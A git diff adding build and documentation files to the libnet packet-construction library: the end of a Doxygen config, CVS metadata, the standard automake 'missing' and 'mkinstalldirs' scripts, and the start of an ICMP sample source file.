+
+IGNORE_PREFIX =
+
+#---------------------------------------------------------------------------
+# configuration options related to the HTML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_HTML tag is set to YES (the default) Doxygen will
+# generate HTML output.
+
+GENERATE_HTML = YES
+
+# The HTML_OUTPUT tag is used to specify where the HTML docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `html' will be used as the default path.
+
+HTML_OUTPUT = html
+
+# The HTML_FILE_EXTENSION tag can be used to specify the file extension for
+# each generated HTML page (for example: .htm,.php,.asp). If it is left blank
+# doxygen will generate files with .html extension.
+
+HTML_FILE_EXTENSION = .html
+
+# The HTML_HEADER tag can be used to specify a personal HTML header for
+# each generated HTML page. If it is left blank doxygen will generate a
+# standard header.
+
+HTML_HEADER =
+
+# The HTML_FOOTER tag can be used to specify a personal HTML footer for
+# each generated HTML page. If it is left blank doxygen will generate a
+# standard footer.
+
+HTML_FOOTER =
+
+# The HTML_STYLESHEET tag can be used to specify a user-defined cascading
+# style sheet that is used by each HTML page. It can be used to
+# fine-tune the look of the HTML output. If the tag is left blank doxygen
+# will generate a default style sheet
+
+HTML_STYLESHEET =
+
+# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes,
+# files or namespaces will be aligned in HTML using tables. If set to
+# NO a bullet list will be used.
+
+HTML_ALIGN_MEMBERS = YES
+
+# If the GENERATE_HTMLHELP tag is set to YES, additional index files
+# will be generated that can be used as input for tools like the
+# Microsoft HTML help workshop to generate a compressed HTML help file (.chm)
+# of the generated HTML documentation.
+
+GENERATE_HTMLHELP = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can
+# be used to specify the file name of the resulting .chm file. You
+# can add a path in front of the file if the result should not be
+# written to the html output dir.
+
+CHM_FILE =
+
+# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can
+# be used to specify the location (absolute path including file name) of
+# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run
+# the HTML help compiler on the generated index.hhp.
+
+HHC_LOCATION =
+
+# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag
+# controls if a separate .chi index file is generated (YES) or that
+# it should be included in the master .chm file (NO).
+
+GENERATE_CHI = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag
+# controls whether a binary table of contents is generated (YES) or a
+# normal table of contents (NO) in the .chm file.
+
+BINARY_TOC = NO
+
+# The TOC_EXPAND flag can be set to YES to add extra items for group members
+# to the contents of the HTML help documentation and to the tree view.
+
+TOC_EXPAND = NO
+
+# The DISABLE_INDEX tag can be used to turn on/off the condensed index at
+# top of each HTML page. The value NO (the default) enables the index and
+# the value YES disables it.
+
+DISABLE_INDEX = NO
+
+# This tag can be used to set the number of enum values (range [1..20])
+# that doxygen will group on one line in the generated HTML documentation.
+
+ENUM_VALUES_PER_LINE = 4
+
+# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be
+# generated containing a tree-like index structure (just like the one that
+# is generated for HTML Help). For this to work a browser that supports
+# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+,
+# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are
+# probably better off using the HTML help feature.
+
+GENERATE_TREEVIEW = NO
+
+# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be
+# used to set the initial width (in pixels) of the frame in which the tree
+# is shown.
+
+TREEVIEW_WIDTH = 250
+
+#---------------------------------------------------------------------------
+# configuration options related to the LaTeX output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will
+# generate Latex output.
+
+GENERATE_LATEX = NO
+
+# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `latex' will be used as the default path.
+
+LATEX_OUTPUT = latex
+
+# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be
+# invoked. If left blank `latex' will be used as the default command name.
+
+LATEX_CMD_NAME = latex
+
+# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to
+# generate index for LaTeX. If left blank `makeindex' will be used as the
+# default command name.
+
+MAKEINDEX_CMD_NAME = makeindex
+
+# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact
+# LaTeX documents. This may be useful for small projects and may help to
+# save some trees in general.
+
+COMPACT_LATEX = NO
+
+# The PAPER_TYPE tag can be used to set the paper type that is used
+# by the printer. Possible values are: a4, a4wide, letter, legal and
+# executive. If left blank a4wide will be used.
+
+PAPER_TYPE = a4wide
+
+# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX
+# packages that should be included in the LaTeX output.
+
+EXTRA_PACKAGES =
+
+# The LATEX_HEADER tag can be used to specify a personal LaTeX header for
+# the generated latex document. The header should contain everything until
+# the first chapter. If it is left blank doxygen will generate a
+# standard header. Notice: only use this tag if you know what you are doing!
+
+LATEX_HEADER =
+
+# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated
+# is prepared for conversion to pdf (using ps2pdf). The pdf file will
+# contain links (just like the HTML output) instead of page references
+# This makes the output suitable for online browsing using a pdf viewer.
+
+PDF_HYPERLINKS = NO
+
+# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of
+# plain latex in the generated Makefile. Set this option to YES to get a
+# higher quality PDF documentation.
+
+USE_PDFLATEX = NO
+
+# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode.
+# command to the generated LaTeX files. This will instruct LaTeX to keep
+# running if errors occur, instead of asking the user for help.
+# This option is also used when generating formulas in HTML.
+
+LATEX_BATCHMODE = NO
+
+# If LATEX_HIDE_INDICES is set to YES then doxygen will not
+# include the index chapters (such as File Index, Compound Index, etc.)
+# in the output.
+
+LATEX_HIDE_INDICES = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the RTF output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output
+# The RTF output is optimised for Word 97 and may not look very pretty with
+# other RTF readers or editors.
+
+GENERATE_RTF = NO
+
+# The RTF_OUTPUT tag is used to specify where the RTF docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `rtf' will be used as the default path.
+
+RTF_OUTPUT = rtf
+
+# If the COMPACT_RTF tag is set to YES Doxygen generates more compact
+# RTF documents. This may be useful for small projects and may help to
+# save some trees in general.
+
+COMPACT_RTF = NO
+
+# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated
+# will contain hyperlink fields. The RTF file will
+# contain links (just like the HTML output) instead of page references.
+# This makes the output suitable for online browsing using WORD or other
+# programs which support those fields.
+# Note: wordpad (write) and others do not support links.
+
+RTF_HYPERLINKS = NO
+
+# Load stylesheet definitions from file. Syntax is similar to doxygen's
+# config file, i.e. a series of assigments. You only have to provide
+# replacements, missing definitions are set to their default value.
+
+RTF_STYLESHEET_FILE =
+
+# Set optional variables used in the generation of an rtf document.
+# Syntax is similar to doxygen's config file.
+
+RTF_EXTENSIONS_FILE =
+
+#---------------------------------------------------------------------------
+# configuration options related to the man page output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_MAN tag is set to YES (the default) Doxygen will
+# generate man pages
+
+GENERATE_MAN = YES
+
+# The MAN_OUTPUT tag is used to specify where the man pages will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `man' will be used as the default path.
+
+MAN_OUTPUT = man
+
+# The MAN_EXTENSION tag determines the extension that is added to
+# the generated man pages (default is the subroutine's section .3)
+
+MAN_EXTENSION = .3
+
+# If the MAN_LINKS tag is set to YES and Doxygen generates man output,
+# then it will generate one additional man file for each entity
+# documented in the real man page(s). These additional files
+# only source the real man page, but without them the man command
+# would be unable to find the correct page. The default is NO.
+
+MAN_LINKS = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the XML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_XML tag is set to YES Doxygen will
+# generate an XML file that captures the structure of
+# the code including all documentation. Note that this
+# feature is still experimental and incomplete at the
+# moment.
+
+GENERATE_XML = NO
+
+# The XML_OUTPUT tag is used to specify where the XML pages will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `xml' will be used as the default path.
+
+XML_OUTPUT = xml
+
+# The XML_SCHEMA tag can be used to specify an XML schema,
+# which can be used by a validating XML parser to check the
+# syntax of the XML files.
+
+XML_SCHEMA =
+
+# The XML_DTD tag can be used to specify an XML DTD,
+# which can be used by a validating XML parser to check the
+# syntax of the XML files.
+
+XML_DTD =
+
+#---------------------------------------------------------------------------
+# configuration options for the AutoGen Definitions output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will
+# generate an AutoGen Definitions (see autogen.sf.net) file
+# that captures the structure of the code including all
+# documentation. Note that this feature is still experimental
+# and incomplete at the moment.
+
+GENERATE_AUTOGEN_DEF = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the Perl module output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_PERLMOD tag is set to YES Doxygen will
+# generate a Perl module file that captures the structure of
+# the code including all documentation. Note that this
+# feature is still experimental and incomplete at the
+# moment.
+
+GENERATE_PERLMOD = NO
+
+# If the PERLMOD_LATEX tag is set to YES Doxygen will generate
+# the necessary Makefile rules, Perl scripts and LaTeX code to be able
+# to generate PDF and DVI output from the Perl module output.
+
+PERLMOD_LATEX = NO
+
+# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be
+# nicely formatted so it can be parsed by a human reader. This is useful
+# if you want to understand what is going on. On the other hand, if this
+# tag is set to NO the size of the Perl module output will be much smaller
+# and Perl will parse it just the same.
+
+PERLMOD_PRETTY = YES
+
+# The names of the make variables in the generated doxyrules.make file
+# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX.
+# This is useful so different doxyrules.make files included by the same
+# Makefile don't overwrite each other's variables.
+
+PERLMOD_MAKEVAR_PREFIX =
+
+#---------------------------------------------------------------------------
+# Configuration options related to the preprocessor
+#---------------------------------------------------------------------------
+
+# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will
+# evaluate all C-preprocessor directives found in the sources and include
+# files.
+
+ENABLE_PREPROCESSING = YES
+
+# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro
+# names in the source code. If set to NO (the default) only conditional
+# compilation will be performed. Macro expansion can be done in a controlled
+# way by setting EXPAND_ONLY_PREDEF to YES.
+
+MACRO_EXPANSION = NO
+
+# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES
+# then the macro expansion is limited to the macros specified with the
+# PREDEFINED and EXPAND_AS_PREDEFINED tags.
+
+EXPAND_ONLY_PREDEF = NO
+
+# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files
+# in the INCLUDE_PATH (see below) will be search if a #include is found.
+
+SEARCH_INCLUDES = YES
+
+# The INCLUDE_PATH tag can be used to specify one or more directories that
+# contain include files that are not input files but should be processed by
+# the preprocessor.
+
+INCLUDE_PATH =
+
+# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard
+# patterns (like *.h and *.hpp) to filter out the header-files in the
+# directories. If left blank, the patterns specified with FILE_PATTERNS will
+# be used.
+
+INCLUDE_FILE_PATTERNS =
+
+# The PREDEFINED tag can be used to specify one or more macro names that
+# are defined before the preprocessor is started (similar to the -D option of
+# gcc). The argument of the tag is a list of macros of the form: name
+# or name=definition (no spaces). If the definition and the = are
+# omitted =1 is assumed.
+
+PREDEFINED =
+
+# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then
+# this tag can be used to specify a list of macro names that should be expanded.
+# The macro definition that is found in the sources will be used.
+# Use the PREDEFINED tag if you want to use a different macro definition.
+
+EXPAND_AS_DEFINED =
+
+# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then
+# doxygen's preprocessor will remove all function-like macros that are alone
+# on a line, have an all uppercase name, and do not end with a semicolon. Such
+# function macros are typically used for boiler-plate code, and will confuse the
+# parser if not removed.
+
+SKIP_FUNCTION_MACROS = YES
+
+#---------------------------------------------------------------------------
+# Configuration::addtions related to external references
+#---------------------------------------------------------------------------
+
+# The TAGFILES option can be used to specify one or more tagfiles.
+# Optionally an initial location of the external documentation
+# can be added for each tagfile. The format of a tag file without
+# this location is as follows:
+# TAGFILES = file1 file2 ...
+# Adding location for the tag files is done as follows:
+# TAGFILES = file1=loc1 "file2 = loc2" ...
+# where "loc1" and "loc2" can be relative or absolute paths or
+# URLs. If a location is present for each tag, the installdox tool
+# does not have to be run to correct the links.
+# Note that each tag file must have a unique name
+# (where the name does NOT include the path)
+# If a tag file is not located in the directory in which doxygen
+# is run, you must also specify the path to the tagfile here.
+
+TAGFILES =
+
+# When a file name is specified after GENERATE_TAGFILE, doxygen will create
+# a tag file that is based on the input files it reads.
+
+GENERATE_TAGFILE =
+
+# If the ALLEXTERNALS tag is set to YES all external classes will be listed
+# in the class index. If set to NO only the inherited external classes
+# will be listed.
+
+ALLEXTERNALS = NO
+
+# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed
+# in the modules index. If set to NO, only the current project's groups will
+# be listed.
+
+EXTERNAL_GROUPS = YES
+
+# The PERL_PATH should be the absolute path and name of the perl script
+# interpreter (i.e. the result of `which perl').
+
+PERL_PATH = /usr/bin/perl
+
+#---------------------------------------------------------------------------
+# Configuration options related to the dot tool
+#---------------------------------------------------------------------------
+
+# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will
+# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base or
+# super classes. Setting the tag to NO turns the diagrams off. Note that this
+# option is superceded by the HAVE_DOT option below. This is only a fallback. It is
+# recommended to install and use dot, since it yields more powerful graphs.
+
+CLASS_DIAGRAMS = YES
+
+# If set to YES, the inheritance and collaboration graphs will hide
+# inheritance and usage relations if the target is undocumented
+# or is not a class.
+
+HIDE_UNDOC_RELATIONS = YES
+
+# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is
+# available from the path. This tool is part of Graphviz, a graph visualization
+# toolkit from AT&T and Lucent Bell Labs. The other options in this section
+# have no effect if this option is set to NO (the default)
+
+HAVE_DOT = YES
+
+# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for each documented class showing the direct and
+# indirect inheritance relations. Setting this tag to YES will force the
+# the CLASS_DIAGRAMS tag to NO.
+
+CLASS_GRAPH = YES
+
+# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for each documented class showing the direct and
+# indirect implementation dependencies (inheritance, containment, and
+# class references variables) of the class with other documented classes.
+
+COLLABORATION_GRAPH = YES
+
+# If the UML_LOOK tag is set to YES doxygen will generate inheritance and
+# colloborations diagrams in a style similiar to the OMG's Unified Modeling
+# Language.
+
+UML_LOOK = NO
+
+# If set to YES, the inheritance and collaboration graphs will show the
+# relations between templates and their instances.
+
+TEMPLATE_RELATIONS = NO
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT
+# tags are set to YES then doxygen will generate a graph for each documented
+# file showing the direct and indirect include dependencies of the file with
+# other documented files.
+
+INCLUDE_GRAPH = YES
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and
+# HAVE_DOT tags are set to YES then doxygen will generate a graph for each
+# documented header file showing the documented files that directly or
+# indirectly include this file.
+
+INCLUDED_BY_GRAPH = YES
+
+# If the CALL_GRAPH and HAVE_DOT tags are set to YES then doxygen will
+# generate a call dependency graph for every global function or class method.
+# Note that enabling this option will significantly increase the time of a run.
+# So in most cases it will be better to enable call graphs for selected
+# functions only using the \callgraph command.
+
+CALL_GRAPH = NO
+
+# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen
+# will graphical hierarchy of all classes instead of a textual one.
+
+GRAPHICAL_HIERARCHY = YES
+
+# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images
+# generated by dot. Possible values are png, jpg, or gif
+# If left blank png will be used.
+
+DOT_IMAGE_FORMAT = png
+
+# The tag DOT_PATH can be used to specify the path where the dot tool can be
+# found. If left blank, it is assumed the dot tool can be found on the path.
+
+DOT_PATH =
+
+# The DOTFILE_DIRS tag can be used to specify one or more directories that
+# contain dot files that are included in the documentation (see the
+# \dotfile command).
+
+DOTFILE_DIRS =
+
+# The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width
+# (in pixels) of the graphs generated by dot. If a graph becomes larger than
+# this value, doxygen will try to truncate the graph, so that it fits within
+# the specified constraint. Beware that most browsers cannot cope with very
+# large images.
+
+MAX_DOT_GRAPH_WIDTH = 1024
+
+# The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height
+# (in pixels) of the graphs generated by dot. If a graph becomes larger than
+# this value, doxygen will try to truncate the graph, so that it fits within
+# the specified constraint. Beware that most browsers cannot cope with very
+# large images.
+
+MAX_DOT_GRAPH_HEIGHT = 1024
+
+# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the
+# graphs generated by dot. A depth value of 3 means that only nodes reachable
+# from the root by following a path via at most 3 edges will be shown. Nodes that
+# lay further from the root node will be omitted. Note that setting this option to
+# 1 or 2 may greatly reduce the computation time needed for large code bases. Also
+# note that a graph may be further truncated if the graph's image dimensions are
+# not sufficient to fit the graph (see MAX_DOT_GRAPH_WIDTH and MAX_DOT_GRAPH_HEIGHT).
+# If 0 is used for the depth value (the default), the graph is not depth-constrained.
+
+MAX_DOT_GRAPH_DEPTH = 0
+
+# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will
+# generate a legend page explaining the meaning of the various boxes and
+# arrows in the dot generated graphs.
+
+GENERATE_LEGEND = YES
+
+# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will
+# remove the intermediate dot files that are used to generate
+# the various graphs.
+
+DOT_CLEANUP = YES
+
+#---------------------------------------------------------------------------
+# Configuration::addtions related to the search engine
+#---------------------------------------------------------------------------
+
+# The SEARCHENGINE tag specifies whether or not a search engine should be
+# used. If set to NO the values of all tags below this one will be ignored.
+
+SEARCHENGINE = NO
+
+# The CGI_NAME tag should be the name of the CGI script that
+# starts the search engine (doxysearch) with the correct parameters.
+# A script with this name will be generated by doxygen.
+
+CGI_NAME = search.cgi
+
+# The CGI_URL tag should be the absolute URL to the directory where the
+# cgi binaries are located. See the documentation of your http daemon for
+# details.
+
+CGI_URL =
+
+# The DOC_URL tag should be the absolute URL to the directory where the
+# documentation is located. If left blank the absolute path to the
+# documentation, with file:// prepended to it, will be used.
+
+DOC_URL =
+
+# The DOC_ABSPATH tag should be the absolute path to the directory where the
+# documentation is located. If left blank the directory on the local machine
+# will be used.
+
+DOC_ABSPATH =
+
+# The BIN_ABSPATH tag must point to the directory where the doxysearch binary
+# is installed.
+
+BIN_ABSPATH = /usr/local/bin/
+
+# The EXT_DOC_PATHS tag can be used to specify one or more paths to
+# documentation generated for other projects. This allows doxysearch to search
+# the documentation for these projects as well.
+
+EXT_DOC_PATHS =
diff --git a/libnet/man/CVS/Entries b/libnet/man/CVS/Entries
new file mode 100644
index 0000000..1784810
--- /dev/null
+++ b/libnet/man/CVS/Entries
@@ -0,0 +1 @@
+D
diff --git a/libnet/man/CVS/Repository b/libnet/man/CVS/Repository
new file mode 100644
index 0000000..5cae090
--- /dev/null
+++ b/libnet/man/CVS/Repository
@@ -0,0 +1 @@
+/usr/local/CVS/libnet/man
diff --git a/libnet/man/CVS/Root b/libnet/man/CVS/Root
new file mode 100644
index 0000000..52fa133
--- /dev/null
+++ b/libnet/man/CVS/Root
@@ -0,0 +1 @@
+mike@66.234.207.232:/usr/local/CVS
diff --git a/libnet/missing b/libnet/missing
new file mode 100755
index 0000000..0a7fb5a
--- /dev/null
+++ b/libnet/missing
@@ -0,0 +1,283 @@
+#! /bin/sh
+# Common stub for a few missing GNU programs while installing.
+# Copyright 1996, 1997, 1999, 2000 Free Software Foundation, Inc.
+# Originally by Fran,cois Pinard <pinard@iro.umontreal.ca>, 1996.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+# 02111-1307, USA.
+
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+if test $# -eq 0; then
+ echo 1>&2 "Try \`$0 --help' for more information"
+ exit 1
+fi
+
+run=:
+
+# In the cases where this matters, `missing' is being run in the
+# srcdir already.
+if test -f configure.ac; then
+ configure_ac=configure.ac
+else
+ configure_ac=configure.in
+fi
+
+case "$1" in
+--run)
+ # Try to run requested program, and just exit if it succeeds.
+ run=
+ shift
+ "$@" && exit 0
+ ;;
+esac
+
+# If it does not exist, or fails to run (possibly an outdated version),
+# try to emulate it.
+case "$1" in
+
+ -h|--h|--he|--hel|--help)
+ echo "\
+$0 [OPTION]... PROGRAM [ARGUMENT]...
+
+Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an
+error status if there is no known handling for PROGRAM.
+
+Options:
+ -h, --help display this help and exit
+ -v, --version output version information and exit
+ --run try to run the given command, and emulate it if it fails
+
+Supported PROGRAM values:
+ aclocal touch file \`aclocal.m4'
+ autoconf touch file \`configure'
+ autoheader touch file \`config.h.in'
+ automake touch all \`Makefile.in' files
+ bison create \`y.tab.[ch]', if possible, from existing .[ch]
+ flex create \`lex.yy.c', if possible, from existing .c
+ help2man touch the output file
+ lex create \`lex.yy.c', if possible, from existing .c
+ makeinfo touch the output file
+ tar try tar, gnutar, gtar, then tar without non-portable flags
+ yacc create \`y.tab.[ch]', if possible, from existing .[ch]"
+ ;;
+
+ -v|--v|--ve|--ver|--vers|--versi|--versio|--version)
+ echo "missing 0.3 - GNU automake"
+ ;;
+
+ -*)
+ echo 1>&2 "$0: Unknown \`$1' option"
+ echo 1>&2 "Try \`$0 --help' for more information"
+ exit 1
+ ;;
+
+ aclocal)
+ echo 1>&2 "\
+WARNING: \`$1' is missing on your system. You should only need it if
+ you modified \`acinclude.m4' or \`${configure_ac}'. You might want
+ to install the \`Automake' and \`Perl' packages. Grab them from
+ any GNU archive site."
+ touch aclocal.m4
+ ;;
+
+ autoconf)
+ echo 1>&2 "\
+WARNING: \`$1' is missing on your system. You should only need it if
+ you modified \`${configure_ac}'. You might want to install the
+ \`Autoconf' and \`GNU m4' packages. Grab them from any GNU
+ archive site."
+ touch configure
+ ;;
+
+ autoheader)
+ echo 1>&2 "\
+WARNING: \`$1' is missing on your system. You should only need it if
+ you modified \`acconfig.h' or \`${configure_ac}'. You might want
+ to install the \`Autoconf' and \`GNU m4' packages. Grab them
+ from any GNU archive site."
+ files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' ${configure_ac}`
+ test -z "$files" && files="config.h"
+ touch_files=
+ for f in $files; do
+ case "$f" in
+ *:*) touch_files="$touch_files "`echo "$f" |
+ sed -e 's/^[^:]*://' -e 's/:.*//'`;;
+ *) touch_files="$touch_files $f.in";;
+ esac
+ done
+ touch $touch_files
+ ;;
+
+ automake)
+ echo 1>&2 "\
+WARNING: \`$1' is missing on your system. You should only need it if
+ you modified \`Makefile.am', \`acinclude.m4' or \`${configure_ac}'.
+ You might want to install the \`Automake' and \`Perl' packages.
+ Grab them from any GNU archive site."
+ find . -type f -name Makefile.am -print |
+ sed 's/\.am$/.in/' |
+ while read f; do touch "$f"; done
+ ;;
+
+ bison|yacc)
+ echo 1>&2 "\
+WARNING: \`$1' is missing on your system. You should only need it if
+ you modified a \`.y' file. You may need the \`Bison' package
+ in order for those modifications to take effect. You can get
+ \`Bison' from any GNU archive site."
+ rm -f y.tab.c y.tab.h
+ if [ $# -ne 1 ]; then
+ eval LASTARG="\${$#}"
+ case "$LASTARG" in
+ *.y)
+ SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'`
+ if [ -f "$SRCFILE" ]; then
+ cp "$SRCFILE" y.tab.c
+ fi
+ SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'`
+ if [ -f "$SRCFILE" ]; then
+ cp "$SRCFILE" y.tab.h
+ fi
+ ;;
+ esac
+ fi
+ if [ ! -f y.tab.h ]; then
+ echo >y.tab.h
+ fi
+ if [ ! -f y.tab.c ]; then
+ echo 'main() { return 0; }' >y.tab.c
+ fi
+ ;;
+
+ lex|flex)
+ echo 1>&2 "\
+WARNING: \`$1' is missing on your system. You should only need it if
+ you modified a \`.l' file. You may need the \`Flex' package
+ in order for those modifications to take effect. You can get
+ \`Flex' from any GNU archive site."
+ rm -f lex.yy.c
+ if [ $# -ne 1 ]; then
+ eval LASTARG="\${$#}"
+ case "$LASTARG" in
+ *.l)
+ SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'`
+ if [ -f "$SRCFILE" ]; then
+ cp "$SRCFILE" lex.yy.c
+ fi
+ ;;
+ esac
+ fi
+ if [ ! -f lex.yy.c ]; then
+ echo 'main() { return 0; }' >lex.yy.c
+ fi
+ ;;
+
+ help2man)
+ echo 1>&2 "\
+WARNING: \`$1' is missing on your system. You should only need it if
+ you modified a dependency of a manual page. You may need the
+ \`Help2man' package in order for those modifications to take
+ effect. You can get \`Help2man' from any GNU archive site."
+
+ file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'`
+ if test -z "$file"; then
+ file=`echo "$*" | sed -n 's/.*--output=\([^ ]*\).*/\1/p'`
+ fi
+ if [ -f "$file" ]; then
+ touch $file
+ else
+ test -z "$file" || exec >$file
+ echo ".ab help2man is required to generate this page"
+ exit 1
+ fi
+ ;;
+
+ makeinfo)
+ if test -z "$run" && (makeinfo --version) > /dev/null 2>&1; then
+ # We have makeinfo, but it failed.
+ exit 1
+ fi
+
+ echo 1>&2 "\
+WARNING: \`$1' is missing on your system. You should only need it if
+ you modified a \`.texi' or \`.texinfo' file, or any other file
+ indirectly affecting the aspect of the manual. The spurious
+ call might also be the consequence of using a buggy \`make' (AIX,
+ DU, IRIX). You might want to install the \`Texinfo' package or
+ the \`GNU make' package. Grab either from any GNU archive site."
+ file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'`
+ if test -z "$file"; then
+ file=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'`
+ file=`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }' $file`
+ fi
+ touch $file
+ ;;
+
+ tar)
+ shift
+ if test -n "$run"; then
+ echo 1>&2 "ERROR: \`tar' requires --run"
+ exit 1
+ fi
+
+ # We have already tried tar in the generic part.
+ # Look for gnutar/gtar before invocation to avoid ugly error
+ # messages.
+ if (gnutar --version > /dev/null 2>&1); then
+ gnutar ${1+"$@"} && exit 0
+ fi
+ if (gtar --version > /dev/null 2>&1); then
+ gtar ${1+"$@"} && exit 0
+ fi
+ firstarg="$1"
+ if shift; then
+ case "$firstarg" in
+ *o*)
+ firstarg=`echo "$firstarg" | sed s/o//`
+ tar "$firstarg" ${1+"$@"} && exit 0
+ ;;
+ esac
+ case "$firstarg" in
+ *h*)
+ firstarg=`echo "$firstarg" | sed s/h//`
+ tar "$firstarg" ${1+"$@"} && exit 0
+ ;;
+ esac
+ fi
+
+ echo 1>&2 "\
+WARNING: I can't seem to be able to run \`tar' with the given arguments.
+ You may want to install GNU tar or Free paxutils, or check the
+ command line arguments."
+ exit 1
+ ;;
+
+ *)
+ echo 1>&2 "\
+WARNING: \`$1' is needed, and you do not seem to have it handy on your
+ system. You might have modified some files without having the
+ proper tools for further handling them. Check the \`README' file,
+ it often tells you about the needed prerequirements for installing
+ this package. You may also peek at any GNU archive site, in case
+ some other package would contain this missing \`$1' program."
+ exit 1
+ ;;
+esac
+
+exit 0
diff --git a/libnet/mkinstalldirs b/libnet/mkinstalldirs
new file mode 100755
index 0000000..29f53a4
--- /dev/null
+++ b/libnet/mkinstalldirs
@@ -0,0 +1,40 @@
+#! /bin/sh
+# mkinstalldirs --- make directory hierarchy
+# Author: Noah Friedman <friedman@prep.ai.mit.edu>
+# Created: 1993-05-16
+# Public domain
+
+# $Id: mkinstalldirs,v 1.1.1.1 2003/06/26 21:55:10 route Exp $
+
+errstatus=0
+
+for file
+do
+ set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'`
+ shift
+
+ pathcomp=
+ for d
+ do
+ pathcomp="$pathcomp$d"
+ case "$pathcomp" in
+ -* ) pathcomp=./$pathcomp ;;
+ esac
+
+ if test ! -d "$pathcomp"; then
+ echo "mkdir $pathcomp"
+
+ mkdir "$pathcomp" || lasterr=$?
+
+ if test ! -d "$pathcomp"; then
+ errstatus=$lasterr
+ fi
+ fi
+
+ pathcomp="$pathcomp/"
+ done
+done
+
+exit $errstatus
+
+# mkinstalldirs ends here
diff --git a/libnet/sample/.#icmp_unreach.c.1.2 b/libnet/sample/.#icmp_unreach.c.1.2
new file mode 100644
index 0000000..0c155db
--- /dev/null
+++ b/libnet/sample/.#icmp_unreach.c.1.2
@@ -0,0 +1,190 @@
+/*
+ * $Id: icmp_unreach.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an ICMP unreachable packet
+ *
